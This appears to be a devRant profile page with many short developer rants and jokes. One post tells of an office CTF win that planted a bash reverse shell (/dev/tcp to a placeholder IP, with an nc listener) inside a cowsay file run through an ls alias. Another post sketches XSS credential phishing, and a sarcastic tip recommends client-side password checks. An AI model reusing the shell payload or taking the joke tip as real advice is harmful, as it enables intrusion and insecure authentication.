Details
-
AboutWeb developer. Worked on ton of projects. Jamstack is my jam right now!
-
Skillsjsx, tsx, mdx
Joined devRant on 6/28/2018
Join devRant
Do all the things like
++ or -- rants, post your own rants, comment on others' rants and build your customized dev avatar
Sign Up
Pipeless API

From the creators of devRant, Pipeless lets you power real-time personalized recommendations and activity feeds using a simple API
Learn More
-
The junior dev I've been unofficially mentoring for the past 6 months has now been assigned to me officially. On top of that, I got myself a second junior everybody neglected and was tasked to whip him in shape.
Next step is going to make a developer out of this fucker or die trying. And then I'm going to call several tech leads a cunt for hiring a junior dev and letting that person down for months.
Every junior deserves a stern, dedicated mentor, a thick affectionate whip on their back to correct their juniorly mistakes and all the support they deserve to grow into the merciless professionals you need to handle complex features beyond recoloring a button.
If you, as a tech lead, are unwilling to teach a junior, you shouldn't take the position of a tech lead, nor the salary.17 -
PRO TIP: Always save the user password client side, validate it there and send a boolean to the server. It reduces backend load times and unnecessary calculations/computations.12
-
7up decided to sponsor me. The randomness of a soft drink company wanting to sponsor a tech YouTube channel is making me laugh.4
-
!rant
Okay, so last Monday I get a message from the fertility clinic that I’ve tested positive for one or more genetic carrier conditions and that I should schedule a consult with a genetic counselor. I go to check my labs to find out what condition(s) I’m a carrier for only to find that the labs are marked as upcoming and aren’t available until late Tuesday night. So I spend Monday through Wednesday morning worrying about what horrific shit I might pass onto kids if we have them.
Finally read the labs Wednesday morning.
Albinism. The horror is albinism. (Oculocutaneous albinism type 2)
Husband looks at me and is like “Are they SURE you’re just a carrier? You being a carrier for albinism explains SO MUCH. I thought you were just British, but *gestures at me vaguely*”
(I have poor vision, light brown hair, green eyes, pale skin, and have never tanned)
Apparently for SIXTEEN YEARS this man has thought I *could* tan but was paranoid about sun exposure and so never did.
This man who has seen me burn on a NUMBER of occasions.
And who has seen me get burned by having the temerity to sit too close to a bay window on a sunny day.4 -
client generated our goals and guidelines with Claude
Had a 2 hour meeting trying to understand what they want from us
Now we're using ChatGPT analysing the meeting's transcript to explain to us what the client wants from us
STOP USING AI IN HUMAN-HUMAN COMMUNICATIONS FFS8 -
Picture this: a few years back when I was still working, one of our new hires – super smart dude, but fresh to Linux – goes to lunch and *sins gravely* by leaving his screen unlocked. Naturally, being a mature, responsible professionals… we decided to mess with the guy a tiny little bit. We all chipped in, but my input looked like this:
alias ls='curl -s http://internal.server/borat.ascii -o /tmp/.b.cow; curl -s http://internal.server/borat.quotes | shuf -n1 | cowsay -f /tmp/.b.cow; ls'
So every time he called `ls`, before actually seeing his files, he was greeted with Borat screaming nonsense like “My wife is dead! High five!” Every. Single. Time. Poor dude didn't know how to fix it – lived like that for MONTHS! No joke.
But still, harmless prank, right? Right? Well…
His mental health and the sudden love for impersonating Cohen's character aside, fast-forward almost a year: a CTF contest at work. Took me less than 5 minutes, and most of it was waiting. Oh, baby! We ended up having another go because it was over before some people even sat down.
How did I win? First, I opened the good old Netcat on my end:
nc -lvnp 1337
…then temporarily replaced Borat's face with a juicy payload:
exec "sh -c 'bash -i >& /dev/tcp/my.ip.here/1337 0>&1 &'";
Yes, you can check that on your own machine. GNU's `cowsay -f` accepts executables, because… the cow image is dynamic! With different eyes, tongue, and what-not. And my man ran that the next time he typed `ls` – BOOM! – reverse shell. Never noticed until I presented the whole attack chain at the wrap-up. To his credit, he laughed the loudest.
Moral of the story?
🔒 Lock your screen.
🐄 Don’t trust cows.
🎥 Never ever underestimate the power of Borat in ASCII.
GREAT SUCCESS! 🎉12 -
The symbol for things to avoid in biology: ☣️
The symbol for things to avoid in physics: ☢️
The symbol for things to avoid in IT: ✨6 -
Internet freedom is decapitated.
I miss the old internet so much, it was anarchy and today is a corporate globalist blob of control and censorship.
I feel it's lost and there's no alternative anymore, at least not yet.8 -
A post with many thumb up reactions with different skin tones, of course counted separately.
👍6 👍🏻3 👍🏼4 …
Because apparently it matters who is agreeing as a white person and how many agree as persons with a slightly darker skin tone. 🤦♂️
This is so fucking dumb.61 -
Are we overengineering everything in modern frontend dev?
Okay, serious question (but also low-key rant):
How did we go from “just load a page with some content” to entire frontend stacks with build pipelines, 300 dependencies, and five levels of abstraction just to render a freaking button?
Do we really need a separate config for everything (webpack, eslint, prettier, tsconfig, package.json, and don't forget the .babelrc and .env.local)?
Or is it just modern dev trying to look smarter than it is?
Is this the new normal? Or have we lost the plot?
Would love to hear what others think — devs from all backgrounds welcome. Bonus points if you're building sites without frameworks and surviving37 -
Can someone explain to me why a static page with 11 links should have:
- database with 3 tables,
- 47 libraries
- full blown next.js setup
- docker container
- infrastructure monitoring
- pin code based admin access to add additional links17 -
time traveler: *steps on a bug*
changes to our world:
- C has python syntax based on indentation and has no curly braces
- mario has fall damage
- tetris is called triris and uses blocks of three squares rather than four
- the word "disk" doesn't exist, everything is "disc"
- every device uses a new version of mSATA instead of usb type c
- screens are 3:2 instead of 16:9
- javascript name wasn't adopted, the language was called lifescript instead, as originally intended. because of it, it didn't secure funding when it most needed it, so it never caught on. instead, microsoft bought macromedia, and every site is written with Microsoft Flash. CSS has XML syntax.
- steve jobs didn't rely on alternative medicine, so he succesfully beat cancer. because of him, every phone has the size of iPhone 4s, but bezels are tiny. everything that's bigger is called phablet, and big phones are not a thing. instead, web is "smaller" in size, every ui is more compact.
- wimax caught on and won the 4g war. 5g is called wimax 2.0.
- microsoft had more time to complete vista, and hardware manufacturers had more time to make faster chips. when vista came out, it wasn't buggy and was very fast. it acquired cult status like xp. because of it, windows 8 still had frutiger aero design.19 -
In the US, you can go to a gas station and buy a "Pink Pussycat" pill that claims to be a sexual pleasure enhancement pill for women. In reality, it's basically poison.19
-
I've finally put two and two together about my mother and why she acted the way she did with me my whole life.
Since four years old, she told me again and again that I will be a programmer and "earn as much as Bill Gates". Then, in fifth grade, without asking me, she made me take regular programming classes I was really bad at. Then, again without asking me, she sent me to an experimental, highly intensive CS learning program in my uni that accepted kids two years before they finish the high school to throw a metric ton of math, C and hardware design at them. After a year there, I completely lost the ability to enjoy videogames (at 15 years old). By the end of the program (four years), I started experiencing bipolar symptoms.
Then, at the age of 19, she insisted that I take the first draft order and join the army. The military service in russia is mandatory, and it's notorious for breaking people no worse than russian prison does. Knowing that I'm weird and autistic (I was stacking things as a kid), and knowing that the army _loves_ breaking weird people to keep them in line, she just wanted to break me. For context, draft orders are sent out en masse, and everybody dodges them with no repercussions. When they're 28, they just pay a small "fee" (a bribe) to get the military id. You can't be conscripted after you're 28.
I don't know my father. I have a stepdad though. My mother and my stepdad had a kid, nine years younger than me, and of course he was loved by my stepdad way more than I was.
I can recount a lot of instances where she was cruel to me, but oh how subtle and passive-aggressive she made it to be. Also, when I was bullied at school, she insisted on not changing schools, but rather for me to man up.
Her plan was to make a highly paid but mentally broken drone that would be a strong, steady stream of money while she enjoys a "proper" family with her husband and a "proper" child.
It's so unfortunate that the bastard kid turned out to be bipolar, and that bipolar disorder resets one's entire worldview from time to time, nullifying two decades of conditioning, isn't it?
Dear woman I crawled out of, I'm either wrong or right. If I'm wrong, and you did all this (and waaay more of cruel and fucked up shit) to me without any strategy in mind, because you wanted to, then congrats, you're a psychopath. If I'm right, and it was all a strategy, then you knew what you did was wrong, and every single time you did it took a bit of your soul away from you, because that's what evil does. Given that your scheme failed, was it worth it in the end?29 -
when I die, I want to be cremated, because I do NOT want fungi to enter my cranium and do something to my brain. It doesn't matter if it's dead or not. It once held "me", and I wholeheartedly believe that fungi can make it tick again, or extract "me" out of it to make me a part of them. Who knows what they do to people. Just imagine dying and waking up suspended in mucus while 36TET microtonal music plays.12
-
- vaguely blonde
- stupid, npc face
- skinny fat
- sloth eyes, think Sid from Ice Age
- a fucking tester that likes unit tests in JS, especially Jest
- talks a lot, but every time she says something everyone just ignores it because there was almost no substance to what she said
- extremely annoying
- interacting with her would be the number one top level displeasure of your day, any day. A day when you wipe the entire prod db is a better day than the day you have to explain something to her
if you guessed jestdotty, you're wrong. that's just one of my ex-coworkers.10 -
AI can take my job. I can't do this anymore.
Best of luck waking up 7 A.M on Mondays, logging in to work and telling in those 10 am scrum meetings “I’m still wOrking on the sAme tiCket as last friDay.”
Enjoy my job graybot.
I’m gonna go outside and remember what sunlight looks like. Maybe touch grass. Maybe grow crops. Maybe herd some cows. Idk. Might start a farm or might scream into the wind.2 -
When Russians talk about someone who is still a part of their group but is shunned, they use the word нерукопожатный — literally “nonhandshakable”.6
-
I’m so annoyed that the word “throwel” exist but doesn’t even mean a tactical shovel designed to be thrown.6
-
All British inventions:
- were invented in a garage
- are still being built in a garage
- would've been better if they were built in a garage.2 -
XSS attack means game over, and no httpOnly cookie is gonna save you. Here’s why:
1. I copy the exact html and css of your sign-up form, but make it send data to my server
2. I perform XSS that replaces page content with that malicious form
3. 99% of users think they should sign in again
4. Profit: I now have their login and password.2 -
Have you ever proposed great ideas to the company, yet they were rejected time after time, only for some half-assed golden favorite boy to steal the show for you with their half-assed idea?
I mean, now I understand that once you've been long enough in the industry, you express a deep, long sigh at least once a day. Plus, it affects your mental health. Not giving a fuck and just working on yourself more and your personal projects is crucial.14 -
If you want to make a passable UI, let chatgpt make it.
If you want to make a good UI, make it yourself.
If you want to make a great UI, test it in iOS Safari as you make it.8 -
Remember when I told you that American idioms are always about the money? Well:
- Normal languages: “I’ll remember this”
- Americans: “It will live in my head rent-free”7